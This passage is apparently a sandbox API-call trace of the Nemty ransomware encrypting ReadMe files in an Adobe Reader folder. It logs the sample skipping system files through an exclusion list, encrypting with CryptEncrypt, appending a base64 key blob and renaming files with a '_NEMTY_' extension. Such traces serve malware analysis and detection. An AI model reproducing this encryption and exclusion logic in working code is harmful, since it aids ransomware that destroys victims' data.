Flags=0x0, Size=0x70) returned 0x6351c60 [0194.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351cd8 | out: hHeap=0x4f90000) returned 1 [0194.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351cd8 [0194.055] Sleep (dwMilliseconds=0x5) [0194.062] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0x275115b0, dwHighDateTime=0x1d561e8)) [0194.062] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0x275115b0, dwHighDateTime=0x1d561e8)) [0194.062] GetLastError () returned 0x0 [0194.062] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0194.062] GetLastError () returned 0x0 [0194.062] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.062] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0194.062] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0194.062] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0194.062] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0194.062] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0194.062] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0194.062] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653ef9c | out: pszString="scTxgBtWBfc6bpeKlSHnCYN6dbNz8/YK9/Gn11qz1K+WF8nIV19m3Wh7jtCZ9UtD\r\nnyiEolNN4xhDKIzC8WeXShgVIZsMPHsydDgVhfwcyBNkShNgXmltDY09HxCmcL/H\r\nmIrswoT7JIHplFIJGPWh1geNzMYXMsN8AIUQr0jSmh0Q1atMWVm2/I2Mp7kZTu1A\r\nApL/5DhTbkY7hnaTa9dGXRgyDpR9RJTT8ebzJKOR4zOQ2dN/SY+x/yoZ0YNgLBCp\r\n+AKikspYawBVnqtV7ceok2VdNoSU9aWJwPsHxTbz5tHbSBOzPfg0KJgwGYZdVDrr\r\n1CImIeqKQ+BB55QhUcIKvw==\r\n", pcchString=0x653ef9c) returned 1 [0194.062] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0194.062] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0194.062] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0194.062] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0194.063] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0194.063] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0194.063] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmehun.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0194.063] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=17012) returned 1 [0194.063] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4270) returned 0x6352c48 [0194.063] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.063] ReadFile (in: hFile=0x1e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4270, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653f1e4*=0x4270, lpOverlapped=0x0) returned 1 [0194.066] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.066] WriteFile (in: hFile=0x1e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4270, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653f1dc*=0x4270, lpOverlapped=0x0) returned 1 [0194.066] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0194.066] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=17012, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4274 [0194.066] WriteFile (in: hFile=0x1e8, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0194.066] CloseHandle (hObject=0x1e8) returned 1 [0194.066] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351d50 [0194.066] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0194.066] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0194.067] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0194.067] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0194.067] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0194.067] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351dc8 [0194.067] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0194.067] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351dc8 | out: hHeap=0x4f90000) returned 1 [0194.067] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0194.067] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmehun.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmehun.htm._nemty_kgobjgd_")) returned 1 [0194.067] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0194.067] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351d50 | out: hHeap=0x4f90000) returned 1 [0194.067] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0194.067] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0194.067] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0194.067] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0194.068] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.068] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351cd8 | out: hHeap=0x4f90000) returned 1 [0194.068] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17b8, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="ReadMeJ.htm", cAlternateFileName="")) returned 1 [0194.068] lstrcmpiW (lpString1="ReadMeJ.htm", lpString2=".") returned 1 [0194.068] lstrcmpiW (lpString1="ReadMeJ.htm", lpString2="..") returned 1 [0194.068] lstrcmpiW (lpString1="ReadMeJ.htm", lpString2="...") returned 1 [0194.068] lstrcmpiW (lpString1="ReadMeJ.htm", lpString2="windows") returned -1 [0194.068] lstrcmpiW (lpString1="ReadMeJ.htm", lpString2="$RECYCLE.BIN") returned 1 [0194.068] lstrcmpiW (lpString1="ReadMeJ.htm", lpString2="rsa") returned -1 [0194.068] lstrcmpiW (lpString1="ReadMeJ.htm", lpString2="NTDETECT.COM") returned 1 [0194.068] lstrcmpiW (lpString1="ReadMeJ.htm", lpString2="ntldr") returned 1 [0194.068] lstrcmpiW (lpString1="ReadMeJ.htm", lpString2="MSDOS.SYS") returned 1 [0194.068] lstrcmpiW (lpString1="ReadMeJ.htm", lpString2="IO.SYS") returned 1 [0194.068] lstrcmpiW (lpString1="ReadMeJ.htm", lpString2="boot.ini") returned 1 [0194.068] lstrcmpiW (lpString1="ReadMeJ.htm", lpString2="boot.ini") returned 1 [0194.068] lstrcmpiW (lpString1="ReadMeJ.htm", lpString2="AUTOEXEC.BAT") returned 1 [0194.068] lstrcmpiW (lpString1="ReadMeJ.htm", lpString2="ntuser.dat") returned 1 [0194.068] lstrcmpiW (lpString1="ReadMeJ.htm", lpString2="desktop.ini") returned 1 [0194.068] lstrcmpiW (lpString1="ReadMeJ.htm", lpString2="CONFIG.SYS") returned 1 [0194.068] lstrcmpiW (lpString1="ReadMeJ.htm", lpString2="RECYCLER") returned -1 [0194.068] lstrcmpiW (lpString1="ReadMeJ.htm", lpString2="BOOTSECT.BAK") returned 1 [0194.068] lstrcmpiW (lpString1="ReadMeJ.htm", lpString2="bootmgr") returned 1 [0194.068] lstrcmpiW (lpString1="ReadMeJ.htm", lpString2="programdata") returned 1 [0194.068] lstrcmpiW (lpString1="ReadMeJ.htm", lpString2="appdata") returned 1 [0194.068] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.068] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeJ.htm", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0194.068] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeJ.htm", cchWideChar=11, lpMultiByteStr=0x653f250, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMeJ.htm", lpUsedDefaultChar=0x0) returned 11 [0194.068] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0194.068] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeJ.htm", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0194.068] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeJ.htm", cchWideChar=11, lpMultiByteStr=0x653f250, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMeJ.htm", lpUsedDefaultChar=0x0) returned 11 [0194.068] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0194.069] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.069] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.069] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeJ.htm", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0194.069] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeJ.htm", cchWideChar=11, lpMultiByteStr=0x653f2a0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMeJ.htm", lpUsedDefaultChar=0x0) returned 11 [0194.069] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.069] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.069] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeJ.htm", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0194.069] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeJ.htm", cchWideChar=11, lpMultiByteStr=0x653f2d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMeJ.htm", lpUsedDefaultChar=0x0) returned 11 [0194.069] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.069] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351cd8 [0194.069] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c60 | out: hHeap=0x4f90000) returned 1 [0194.069] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351c60 [0194.069] Sleep (dwMilliseconds=0x5) [0194.077] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0x27537710, dwHighDateTime=0x1d561e8)) [0194.078] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0x27537710, dwHighDateTime=0x1d561e8)) [0194.078] GetLastError () returned 0x0 [0194.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0194.078] GetLastError () returned 0x0 [0194.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0194.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0194.078] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0194.078] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0194.078] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0194.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0194.078] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653ef9c | out: pszString="BLGLr1se9yt3M9QK6T1EOvnkn02gXFJKg1eZZXzxUMXeEN6JgO0Loxn9qIMK9c7S\r\nt/Rni94s/T+SDnUu3FTn7Qo70GJZirjPLCatCGUtiLU8kuS4Q7xo7f+k6dSJq+JB\r\nVW70ZQF2GGFrZxllJURmqOpHGSnTfj5/X6TqXEAjvRsXUZvjRy6015XAmSUXLFdG\r\nyQumaxJu7XDpo7c8CTy9O3MYzfBEi1C4qKHpxVljYYIEEegIv5XbbO/11aFDGfq/\r\n8lmxr6VhmwSXgYpeuNeE/QavgMHXJh9VxoNjQv+oU9DR5vdKmkCk21EAc0YQu44V\r\n3IRNYobClhPzDYIdVeumyA==\r\n", pcchString=0x653ef9c) returned 1 [0194.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0194.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0194.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0194.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0194.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0194.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0194.078] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmej.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0194.079] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=6072) returned 1 [0194.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x17b0) returned 0x6352c48 [0194.079] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.079] ReadFile (in: hFile=0x1e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x17b0, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653f1e4*=0x17b0, lpOverlapped=0x0) returned 1 [0194.081] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.081] WriteFile (in: hFile=0x1e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x17b0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653f1dc*=0x17b0, lpOverlapped=0x0) returned 1 [0194.081] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0194.081] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=6072, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x17b8 [0194.081] WriteFile (in: hFile=0x1e8, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0194.082] CloseHandle (hObject=0x1e8) returned 1 [0194.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351d50 [0194.082] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0194.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0194.082] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0194.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0194.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0194.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351dc8 [0194.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0194.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351dc8 | out: hHeap=0x4f90000) returned 1 [0194.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0194.082] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmej.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmej.htm._nemty_kgobjgd_")) returned 1 [0194.083] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0194.083] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351d50 | out: hHeap=0x4f90000) returned 1 [0194.083] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0194.083] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0194.083] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0194.083] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0194.083] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.083] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c60 | out: hHeap=0x4f90000) returned 1 [0194.083] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4090, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="ReadMeK.htm", cAlternateFileName="")) returned 1 [0194.083] lstrcmpiW (lpString1="ReadMeK.htm", lpString2=".") returned 1 [0194.083] lstrcmpiW (lpString1="ReadMeK.htm", lpString2="..") returned 1 [0194.083] lstrcmpiW (lpString1="ReadMeK.htm", lpString2="...") returned 1 [0194.083] lstrcmpiW (lpString1="ReadMeK.htm", lpString2="windows") returned -1 [0194.083] lstrcmpiW (lpString1="ReadMeK.htm", lpString2="$RECYCLE.BIN") returned 1 [0194.083] lstrcmpiW (lpString1="ReadMeK.htm", lpString2="rsa") returned -1 [0194.083] lstrcmpiW (lpString1="ReadMeK.htm", lpString2="NTDETECT.COM") returned 1 [0194.083] lstrcmpiW (lpString1="ReadMeK.htm", lpString2="ntldr") returned 1 [0194.083] lstrcmpiW (lpString1="ReadMeK.htm", lpString2="MSDOS.SYS") returned 1 [0194.083] lstrcmpiW (lpString1="ReadMeK.htm", lpString2="IO.SYS") returned 1 [0194.083] lstrcmpiW (lpString1="ReadMeK.htm", lpString2="boot.ini") returned 1 [0194.083] lstrcmpiW (lpString1="ReadMeK.htm", lpString2="boot.ini") returned 1 [0194.083] lstrcmpiW (lpString1="ReadMeK.htm", lpString2="AUTOEXEC.BAT") returned 1 [0194.083] lstrcmpiW (lpString1="ReadMeK.htm", lpString2="ntuser.dat") returned 1 [0194.083] lstrcmpiW (lpString1="ReadMeK.htm", lpString2="desktop.ini") returned 1 [0194.083] lstrcmpiW (lpString1="ReadMeK.htm", lpString2="CONFIG.SYS") returned 1 [0194.083] lstrcmpiW (lpString1="ReadMeK.htm", lpString2="RECYCLER") returned -1 [0194.083] lstrcmpiW (lpString1="ReadMeK.htm", lpString2="BOOTSECT.BAK") returned 1 [0194.083] lstrcmpiW (lpString1="ReadMeK.htm", lpString2="bootmgr") returned 1 [0194.083] lstrcmpiW (lpString1="ReadMeK.htm", lpString2="programdata") returned 1 [0194.083] lstrcmpiW (lpString1="ReadMeK.htm", lpString2="appdata") returned 1 [0194.083] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.084] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeK.htm", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0194.084] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeK.htm", cchWideChar=11, lpMultiByteStr=0x653f250, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMeK.htm", lpUsedDefaultChar=0x0) returned 11 [0194.084] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0194.084] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeK.htm", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0194.084] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeK.htm", cchWideChar=11, lpMultiByteStr=0x653f250, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMeK.htm", lpUsedDefaultChar=0x0) returned 11 [0194.084] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0194.084] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.084] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.084] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeK.htm", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0194.084] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeK.htm", cchWideChar=11, lpMultiByteStr=0x653f2a0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMeK.htm", lpUsedDefaultChar=0x0) returned 11 [0194.084] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.084] RtlAllocateHeap 